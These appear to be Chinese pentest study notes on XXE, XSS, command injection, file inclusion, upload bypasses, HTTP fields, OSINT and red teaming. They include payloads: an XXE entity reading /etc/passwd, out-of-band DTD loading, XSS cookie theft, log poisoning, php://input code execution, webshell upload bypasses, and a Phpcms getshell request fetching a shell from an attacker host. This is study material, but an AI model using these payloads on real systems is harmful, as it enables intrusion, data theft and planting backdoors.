新xxe

危害:读取任意文件

示例:在有xxe漏洞的地方输入

<!DOCTYPE note [ <!ENTITY name “xxxxxx”> ]>
<test>&name;</test>
可以触发显示xxxxxx

存在xxe的特征:

由上图可以看出,抓包发现有一个根元素,里面有两个子元素。

如上图,先在请求体添加一段定义实体的代码:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
然后再在标签中引入xxe,如<username>&xxe;</username>

如果观察响应体,要看哪些标签是会回显的,如<username></username>之间的会回显,而<passwd></passwd>不会回显。但是其实是可以执行的,回显就应该使用带外,如dnslog

外部xxe类似,如下图

其中x.x.x.x是vps,在vps的httpd服务目录下有一个1.dtd,dtd文件是以下内容:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<!DOCTYPE test [
<!ENTITY %a SYSTEM “http://x.x.x.x/x.dtd”>
%a;
]>
然后在存在漏洞且可以回显的标签下修改&xxe //因为dtd文件里是xxe

新xss

上图插入的xss,当受害用户点击会搜集相关信息,便于攻击者进行钓鱼攻击。

xss最主要的运用方式是操作cookie:

上图是javascript中windows.document的常用方法:
document.cookie=”username=John Doe”; //创建cookie
document.write(document.cookie) //读取cookie
document.cookie = “username=;expires= xxxxxxxxx”; //删除cookie

xss分类:
反射 payload插入html代码
存储 payload插入html代码
dom payload插入javascript代码 //dom-xss 也属于反射型xss

dom:

如果xss输入时有长度限制,尝试修改前端html代码,取消长度限制。

如上图,通过img的src来使得目标服务器向攻击机请求恶意文件。原理是某些标签有提交get请求的功能。

获取到cookie后可以直接利用,如下图:

在F12的storage功能下,点击+新建n个记录,分别对name、value进行修改成cookie中的值,刷新后便以当前cookie所属的身份进入系统。但是如果网页或者服务器开启 httponly =true 则获取不了cookie

AJAX异步:用于记录键盘输入

<?php
$img_path = $_GET[‘path’];
echo ‘<img src=”‘.$img_path'”> ‘;
?>

找xss的输出点,看看是否在某些标签内部,根据标签使用特定的事件触发xss

新命令执行

示例:
如某个功能点的设计本意是执行icmp ping,若在该输入框输入 x.x.x.x & whomai 之类的命令后得到预想中的结果。

若执行命令的函数被php设置的 disable functions 禁用,则需要bypass。

system():
输出执行结果

exec():
无回显,若使其输出,仅能输出最后一行。

shell_exec():
无回显,能输出所有结果

passthru():
输出执行结果

popen():
返回一个函数指针

` `反引号:背后调用的ell_exec()函数

新文件包含

文件包含导致代码解析的原理:如php文件中包含其他文件,若其他文件中包含部分php可执行的命令,则会被执行。

可见require()和include()的区别在于require()由于程序运行立即调用,因此文件不存在必报错。

文件包含与php配置有关,其中
allow_url_fopen=on/off 是否允许打开url文件,默认是开启。因为需要远程加载js文件或者图片。
allow_url_include=on/off 是否允许引用url文件,激活以url形式fopen封装协议,可以访问url对象文件,默认是关闭的。

文件包含分为本地文件包含(占绝大多数)以及远程文件包含。

本地文件包含:
通过相对路径或者绝对路径打开并包含本地文件的漏洞。
利用条件:
php配置中 allow_url_fopen=on (在php.ini文件中配置)
用户可以动态控制变量

测试1、php代码添加上”.php“之类的代码
绕过:
1、%00截断
2、输入超长字节数据,利用系统特性进行绕过(windows256字节,linux4096字节)
3、点号绕过

远程文件包含:
绕过:
1、 ?截断:在url后加上?,根据url的特性,?后面表示参数。
2、#绕过:在url后加上%23(%23是#的url编码)

测试2、若存在本地文件包含漏洞,但无法通过上传恶意php脚本、文件,如何?
解决:借助服务器已有的文件,并且能控制其输入,比如日志文件(access_log)

正常情况下,若执行命令成功,则日志会保存在目标系统的access_log文件中,若运行失败则保存在error_log文件中。尝试包含日志中的内容触发。
日志的路径在/var/log/https/access_log或者error_log

如上图,在存在文件包含漏洞的地方,通过如?filename=/var/log/httpd/access_log请求访问日志。应该注意的是,输入的url会被浏览器进行url编码,解决办法是通过bp将代码改回正常的php命令。然而发包出现400错误,因为<?php xxx ?>有空格,不过日志会正常的接收,见下图,日志文件中完整的保存了php语句,此时就可以包含该日志文件。


但正常情况下,日志文件既大并且内容杂,可能会影响php代码的执行。

测试3、伪协议

https://www.cnblogs.com/endust/p/11804767.html //伪协议的用法大全

php伪协议事实上是支持的协议与封装协议。如上图,重点使用其中的 php:// 访问各个输入/输出流。

1、file://
由上图可见 file://协议一般情况下都可以使用,如
?path=file://c:\windows\System32\drivers\etc\hosts
限制条件:只能使用绝对路径


2、php://filter
用途:读取php源码

如上图,该伪协议为重点使用的协议,用法如下:
?path=php://filter/read=convert.base64-encode/resource=xxxxxx.php(要读取源代码的文件)

3、php://input


用途:访问请求的原始数据的只读流,将post请求的数据作为php代码执行。
使用条件:
php.ini(在/etc/php.ini)中的 allow_url_include:on
使用方法:在存在文件包含的路径下输入
?file=php://input //在请求头中输入
php执行命令如<?php phpinfo();?> //在请求体中输入

4、data://


文件包含漏洞的常出现的点:

新文件上传

测试1:mime-type检测

原理:如上图所示,部分上传功能会根据上传的文件名分配“content-type”字段,如上传gif时,content-type识别成image/gif。若前端存在检查代码看content-type字段是否合法,直接上传php会失败。但是可以先把php一句话木马命名成gif,上传时通过bp改包,将名字修改回php,可以绕过前端检测content-type功能。

测试2:文件头检测

上图罗列了常见图片格式的为文件头16进制数。
png:89 50 4e 47 0d 0a 1a 0a
jpg:ff d8 ff e0 00 10 4a 46
gif:47 49 46 38 39 61
文件头代表了文件本质,修改文件命名不会影响本来的文件头。

如上图,基于文件头检测是某些系统使用php中getimagesize()函数验证上传的图片文件是否为图片文件以及大小时候合规,比如出现在某些能上传照片的功能点中。

绕过:
方法1:
在测试1的基础上(先修改成gif,再在bp改回php)
在请求体的一句话木马之前加上“GIF89a”,伪造成gif格式的文件。(或者上传图片马。图片马制作方法可使用010 editor这类可以修改文件16进制代码的软件,在图片后写上一句话木马。)
方法2:
修改一句话木马的内容,在一句话木马前一行写上6个字符如abcdefg,上传后在bp的hex中修改这6个字符为png的文件头即 89 50 4e 47 0d 0a 1a 0a
方法3:
上传png,在bp修改请求体中的代码,只留下文件头,再加上一句话木马。

测试3:黑白名单验证

黑名单:

黑名单容易漏危险的后缀。
绕过黑名单:
1、大小写混合写。如windows系统下,如果只对php进行拉黑,写成Php可以绕过。但目前很少了。并且有一些系统会执行函数将所有字符转换为小写。
2、利用windows会过滤非法字符的特性,如文件名结尾为.或者空格时,windows会去除,因此上传文件时,使用bp在文件名后面加上一个.或者空格之类的非法字符完成黑名单绕过。
3、%00绕过:
利用条件:
php版本低于5.3.4(目前极少)
php的magic_quotes_gpc为off状态
绕过原理:%00在url编码中时null,也就是结束的意思。在文件名1.php .jpg其中php后是空格,在bp中通过hex将空格的十六进制修改为00,完成截断。

白名单:

1、解析漏洞:
apache解析漏洞:
版本apache1.x以及apche2.x
原理:apche收到请求报文后,解析上传文件按照自从右往左解析,如test.php.aaa.bbb,依然可以被当成php文件执行。
apche之所以将文件名为.php结尾的文件解析成php,是因为apache的mime.types文件中存在键值对关系。
2、配置问题导致解析:
apache的conf文件中addhandler php5.script php //只要后缀有php 都会按照php解析
apache的conf文件中addtype application/x-httpd-php .jpg //会将jpg结尾的文件按照php进行解析。因此在后渗透测试阶段留后门的时候可以进行该操作。
3、 .htaccess文件解析
.htaccess是配置文件的子配置文件,如在upload目录下存在一个.htaccess文件。。对于文件上传漏洞而言,最重要的是.htaccess对于mime类型的修改。
在upload目录下上传一个.htaccess文件,写上addtype application/x-httpd-php .jpg,并且上传以.jpg结尾的一句话木马文件。访问一句话木马文件,.jpg会当成php解析。
4、IIS6.0解析漏洞
目录解析:
存在一个/xxx.asp/xxx.jpg //高亮是一个目录的名称,在该目录下所有文件名都会按照asp进行解析。
5、IIS 7.0 / IIS 7.5 / Nginx 1.x 机畸形解析漏洞(php fast-cgi解析漏洞)
漏洞原理:fast-cgi存在路径修复的特性,如/1.txt/2.png/3.php,如果/1.txt/2.png/3.php不存在就会去掉3.php,判断是否存在/1.txt/2.png,若存在则当成/1.txt/2.png/3.php文件来解析。说白了是上传一个以shell.jpg结尾的一句话木马,但是无法被解析,此时在上传目录url下再加上/xxx.php,由于xxx.php不存在且具有解析漏洞,shell.jpg会被当成php进行解析,结果就是能成功解析php一句话木马。

测试4、编辑器漏洞

漏洞:

漏洞1:Phpcms V9.6.0任意文件写入getshell
修改抓包内容,用户必须属于新注册信息,才会显示报错 siteid=1&modelid=11&&username=hack&password=111111&pwdconfirm=111111&email=hack%40qq.com&nickname=hack&info[content]=<img src=http://192.168.1.65:9000/shell.txt?.php#.jpg>&dosubmit=1&protocol= //标黄为在vps上开启http服务,并且生成一句话木马的php文件。

http协议

ua 表示浏览器信息 可以通过插件User-Agent Switcher and Manager修改,如伪造成手机访问网页。

q表示权重;

connection:close表示发送一次就断开,keeplink表示发送一次请求能发送多个请求包。


30x状态码原因:

①网站做了容错,访问错误页面会跳转固定页面:

请求文件、路径不存在(中间件规则配置的)

②代码文件做了跳转,触发规则自动跳转固定页面:

请求文件、路径存在(文件代码配置的)

200和404误报原因:

网站做了容错,访问错误页面跳转固定页面:

请求文件、路径不存在


渗透测试一般涉及的报文字段:

1、UA头-系统平台

常见举例影响:

-比如网站有UA收集整理功能,如果将UA信息记录到数据库的话,这个过程有接受UA信息及写入数据库的操作,这个地方可能存在SQL注入

-渗透测试习惯

部分网站做了限制设备访问的需求,手机或电脑只能访问一个,如果我们自己要电脑测试需要更改成手机访问才可以继续

2、Cookie-用户身份

涉及cookie修改、cookie欺骗

3、Post数据-登录爆破

4、返回状态码-文件探针

whois

nslookup

dig

host

traceroute(unix) tracert(windows):
提供了连接到目标系统的路由器(跃点)。有些路由器不会响应 发送的数据包traceroute,因此看不到它们的 IP 地址;*用于表示这种情况。也就是*是存在路由器只不过不让人知道它ip是啥。


谷歌语法(好多篇都有)

“search phrase” 查找具有精确搜索短语的结果
OSINT filetype:pdf PDF 查找与特定术语相关的类型的文件
salary site:blog.tryhackme.com 将搜索结果限制在特定站点
pentest -site:example.com 从结果中排除特定网站
walkthrough intitle:TryHackMe 查找页面标题中包含特定术语的页面
challenge inurl:tryhackme 查找页面 URL 中包含特定术语的页面

例子:
某网站下的xls文件:
filetype:xls site:clinic.thmredteam.com
某网站包含的短语passwords:
“passwords” site:clinic.thmredteam.com


网站:

https://viewdns.info/ 能查询域名和ip

https://search.censys.io/ 大量有关ip和域的信息

https://www.shodan.io/ 创建账号后,可以使用shodan的api在kali命令行执行不用打开网页


工具:

recon-ng:一个有助于自动化 OSINT 工作的框架。它使用来自不同作者的模块并提供多种功能。有些模块需要按键才能工作;Recon-ng 可用于查找有助于操作或 OSINT 任务的各种信息。所有收集的数据都会自动保存在与您的工作空间相关的数据库中。例如,您可能会发现主机地址以供稍后进行端口扫描或收集联系人电子邮件地址以进行网络钓鱼攻击。

workspaces create WORKSPACE_NAME //创建工作空间

recon-ng -w WORKSPACE_NAME //重新配置空间

用的时候,在攻击机命令行

recon-ng -w 工作空间名称

marketplace search 模块名(可以是模块名的部分)

marketplace info 模块名 查看模块信息

marketplace install 模块名 安装模块

modules search 搜索已安装的模块

modules load 模块名 加载模块 然后run,就跟metasploit一样,还需要配置options,输入options list(相当于show options)列出可以设置的加载项

redteam

漏洞评估:使用扫描器对目标进行扫描,目的是扫描出尽可能多的漏洞,但是不会利用这些漏洞。

渗透测试:利用漏洞评估过程中扫描出的漏洞,尝试找到更多地利用方式,不关心是否被发现,测试期间时间有限,会要求打开或放宽一些策略,不用投入时间绕过WAF、IPS等设备,专注发现关键设施的漏洞。并且不会进行社工和物理入侵。

攻击者:无所不用其极,不受道德约束。

红队:专注于检测目标的响应效率,目标是给定范围中的关键主机或者窃取关键敏感信息,评估防守方的能力。红队将尽其所能来实现目标,同时保持不被发现并规避任何现有的安全机制,如防火墙、防病毒、EDR、IPS 等。红队最终达到的效果是模拟足够的技战法,培训蓝队的防守能力。